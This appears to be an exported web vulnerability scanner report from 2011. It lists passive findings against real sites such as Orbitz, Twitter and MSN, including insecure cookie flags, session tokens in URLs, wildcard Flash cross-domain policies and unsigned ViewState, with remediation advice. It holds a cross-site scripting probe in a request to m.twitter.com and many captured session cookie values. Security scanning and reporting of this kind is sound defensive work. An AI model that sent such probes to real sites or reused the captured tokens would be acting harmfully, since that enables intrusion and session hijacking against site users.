GET /Secure/ViewSetupCareAlertsProfile?z=2ed9&r=18&shadowing=false HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
The following cookie was issued by the application and does not have the secure flag set:
resin=1724539402.20480.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RatingVerify HTTP/1.1 Host: www.scanalert.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Server: McAfeeSecure Location: https://www.mcafeesecure.com/RatingVerify Content-Length: 0 Connection: close Date: Thu, 03 Feb 2011 04:05:13 GMT Set-Cookie: resin=1724539402.20480.0000; path=/
8. Session token in URLpreviousnext There are 29 instances of this issue:
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
HTTP/1.1 200 OK Pragma: No-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 19:00:00 EST Content-Type: text/html Vary: Accept-Encoding Date: Wed, 02 Feb 2011 19:00:36 GMT Server: Test & Target Content-Length: 72174
/*! * jQuery JavaScript Library v1.4.2 * http://jquery.com/ * * Copyright 2010, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Siz ...[SNIP]...
GET /skins/omniture/terms_of_use.html;jsessionid=8DF6A9910E66EA873F576D8BD1CA8ED9 HTTP/1.1 Host: admin.testandtarget.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=A6B763B3ABABD72824B234D53FCB7A18; s_sv_p1=1@15@s/5084/5072&e/5; s_sq=omniturecom%2Comnitureall%2Comniturecomdev%2Comniturecomemea%2Comnitureapac%2Comniturenoncustomer%2Comniturecomen%3D%2526pid%253DPrivacy%25253A%2525202o7.net%252520Explained%2526pidt%253D1%2526oid%253Dhttp%25253A//my.omniture.com/%2526ot%253DA; safariAlertWasDisplayed=1; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; sc_locale=en_US; s_sv_s1=1@29@a//1296661247027/594025749283; v1stsp=C92D8F8B772AFF13; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; sc_locale_numbers=en_US; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Test & Target Cache-Control: no-cache Content-Type: text/html Date: Wed, 02 Feb 2011 19:18:13 GMT Expires: Wed, 31 Dec 1969 19:00:00 EST Pragma: No-cache Accept-Ranges: bytes ETag: W/"13561-1288895544000" Connection: close Last-Modified: Thu, 04 Nov 2010 18:32:24 GMT Content-Length: 13561
<html>
<body> <pre> ADOBE TERMS OF USE Your access to this website (the "Site"), Content (as defined below), and/or the applications and services provided by Adobe Systems Incorporated, including its ...[SNIP]...
GET /hourly.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:37 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA30 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=a88927d5284b4f0db193dcb398666b00; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=DE601FFA41DC4AE7A2ACD605FC555949; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:36 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 52352
GET /movies-events.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:34 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c724f512793f40f7b545863d70887ae9; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=91907563A38849D1A4E116FF013302D8; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:33 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 53547
GET /news.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:28 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=f947a926dcc6448ab9adb2fe46c957ce; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=BA421F87D3D544989D735829E15D49E7; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:28 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 45754
GET /restaurants.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:33:58 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA26 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=55093cd8c86c4eec9aa83f4a411553a7; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=D4302824917C48BF812A10E485459A9D; domain=.msn.com; expires=Sun, 21-Aug-2011 15:33:58 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 49235
GET /sports.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:31 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA30 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=91674b5e4f20471eb76593a1de875742; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=29EFBD9A51484401A707F30A0C1054D7; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:31 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 94605
GET /ten-day.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:34 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=a493fc2dada348559f36f3b1b7ee2baa; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=A97D30A3A7E74A1390F36B78341CB76F; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:34 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 49125
GET /weather.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:29 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=f0bf2ff54ef24146a8f224ade917b784; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=AD37BD0DAAF74A8193957788A235401B; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:29 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 49007
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Request
GET /crossdomain.xml HTTP/1.0 Host: pics.plentyoffish.com
Response
HTTP/1.0 200 OK Content-Length: 225 Content-Type: text/xml Last-Modified: Fri, 05 Jun 2009 16:52:36 GMT Accept-Ranges: bytes ETag: "f4f03b7fee5c91:1146" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 01:34:06 GMT Connection: close Cache-Control: max-age=2147483647;post-check=31449600,pre-check=31449600
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: pixel.facebook.com
Response
HTTP/1.0 200 OK Content-Type: text/x-cross-domain-policy;charset=utf-8 Connection: close Content-Length: 1581
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.evow.com
Response
HTTP/1.1 200 OK Content-Type: text/xml Last-Modified: Tue, 07 Dec 2010 01:18:10 GMT Accept-Ranges: bytes ETag: "a4dcf9cac95cb1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 01:34:05 GMT Connection: close Content-Length: 211
The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.
By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.
You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.
Issue remediation
There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.
GET / HTTP/1.1 Host: beta-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1402 Date: Tue, 01 Feb 2011 15:30:27 GMT Connection: close Set-Cookie: A07L=CT; expires=Tue, 01-Mar-2011 15:30:27 GMT; path=/; domain=beta-ads.ace.advertising.com P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
GET / HTTP/1.1 Host: p.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:38:22 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1388
GET / HTTP/1.1 Host: r1.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:40:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1390
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: dev.twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 19:18:50 GMT Server: hi Status: 200 OK X-Transaction: 1296674330-72244-42214 ETag: "934b54f1a54905f44c5f08e31e76ff12" Last-Modified: Wed, 02 Feb 2011 19:18:50 GMT X-Runtime: 0.03334 Content-Type: text/html; charset=utf-8 Content-Length: 8908 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296674330831255; path=/; expires=Wed, 09-Feb-11 19:18:50 GMT; domain=.twitter.com Set-Cookie: guest_id=129667433084978945; path=/; expires=Fri, 04 Mar 2011 19:18:50 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCOQY0OctAToOcmV0dXJuX3RvIhxodHRwOi8v%250AZGV2LnR3aXR0ZXIuY29tLzoHaWQiJTgxNjZlZjA5Yjk3MDk3ZTkzNzY3NzNl%250AZTdlZjA3ZDE1IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6%250ARmxhc2hIYXNoewAGOgpAdXNlZHsA--3f74dffcbda83e02ede7f40fb1c9fbf484dea921; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http- ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /?d526a%22-alert(1)-%22d9a91211762=1 HTTP/1.1 Host: m.twitter.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: k=173.193.214.243.1296227675375304; guest_id=129622767594873093; admobuu=9deea9d91b436e9e39a07f6b1817f30c; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; __utma=43838368.1078689092.1296223511.1296314194.1296521894.4; __utmc=43838368; __utmv=43838368.lang%3A%20en; _twitter_sess=BAh7CToVaW5fbmV3X3VzZXJfZmxvdzA6D2NyZWF0ZWRfYXRsKwjyT7neLQEi%250ACmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7%250AAAY6CkB1c2VkewA6B2lkIiUwZWU5YmE5M2IzN2U4M2Y4NTU1ODc1MGJjZTQ2%250AY2E4OQ%253D%253D--5c974d691e965b8a33f1e7ca63b5b1cbad6a6cc3
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 13:12:28 GMT Server: hi Status: 200 OK X-Transaction: 1296565948-67164-35116 ETag: "b6c107b149a76a496c81c52a4999e7a9"-gzip Last-Modified: Tue, 01 Feb 2011 13:12:28 GMT X-Runtime: 0.04742 Content-Type: text/html; charset=utf-8 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CToVaW5fbmV3X3VzZXJfZmxvdzA6B2lkIiUwZWU5YmE5M2IzN2U4M2Y4%250ANTU1ODc1MGJjZTQ2Y2E4OSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCPJP%250Aud4tAQ%253D%253D--68405592e8acf69fc0a9e659d46c67302e2aaff9; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close Content-Length: 708
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sorry/Captcha?continue=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3Dstatic%2B2mdn%2Bnet%26channel%3Dlinkdoctor&id=4050288757061532411&captcha=coestful&submit=Submit HTTP/1.1 Host: sorry.google.com Proxy-Connection: keep-alive Referer: http://sorry.google.com/sorry/?continue=http://www.google.com/search%3Fq%3Dstatic%2B2mdn%2Bnet%26channel%3Dlinkdoctor Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; SSDATA-DOMAIN=ikjREw(0:; TZ=360; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; S=sorry=6N0zPerLQtaqcOPwyzNvWg
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/?cid=msn_nav_lifestyle&FORM=MSNNAV HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/deals/airline-ticket-deals.do?cid=msn_tab&form=trvcon HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /group/416 HTTP/1.1 Host: www.cafemom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /group/46574 HTTP/1.1 Host: www.cafemom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.directstartv.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.faneuilhallmarketplace.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ho113791/millennium-bostonian-hotel-boston-boston-united-states/ HTTP/1.1 Host: www.hotels.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/scorecard/2mdn.net HTTP/1.1 Host: www.mywot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/gpl-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/mit-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
PHPSESSID=771d08fef2eb643a0448e203f42a969f; expires=Thu, 03 Feb 2011 08:00:19 GMT; path=/; domain=pctools.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /free-antivirus/ HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache X-Powered-By: PHP/4.4.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI DSP COR NID CUR ADMo TAIo OUR STP COM STA" pics-label: (pics-1.1 "http://www.icra.org/ratingsv02.html" l gen true for "http://www.pctools.com" r (nz 1 vz 1 lz 1 oz 1 cz 1)) Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Thu, 03 Feb 2011 06:48:20 GMT Content-Length: 31858 Connection: close Set-Cookie: PHPSESSID=771d08fef2eb643a0448e203f42a969f; expires=Thu, 03 Feb 2011 08:00:19 GMT; path=/; domain=pctools.com
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Free AntiVirus Download and Removal | PC Tools AntiVirus</title> <met ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Hotel_Review-g60745-d114150-Reviews-Millennium_Bostonian_Hotel-Boston_Massachusetts.html HTTP/1.1 Host: www.tripadvisor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/"> <head> <m ...[SNIP]...
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
SESSec9a802c73b09f70b19df80cd6286d02=kdi10q8smc5gnbf5onr9ocvdj0; expires=Sat, 26 Feb 2011 07:39:57 GMT; path=/; domain=.trw.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.trw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
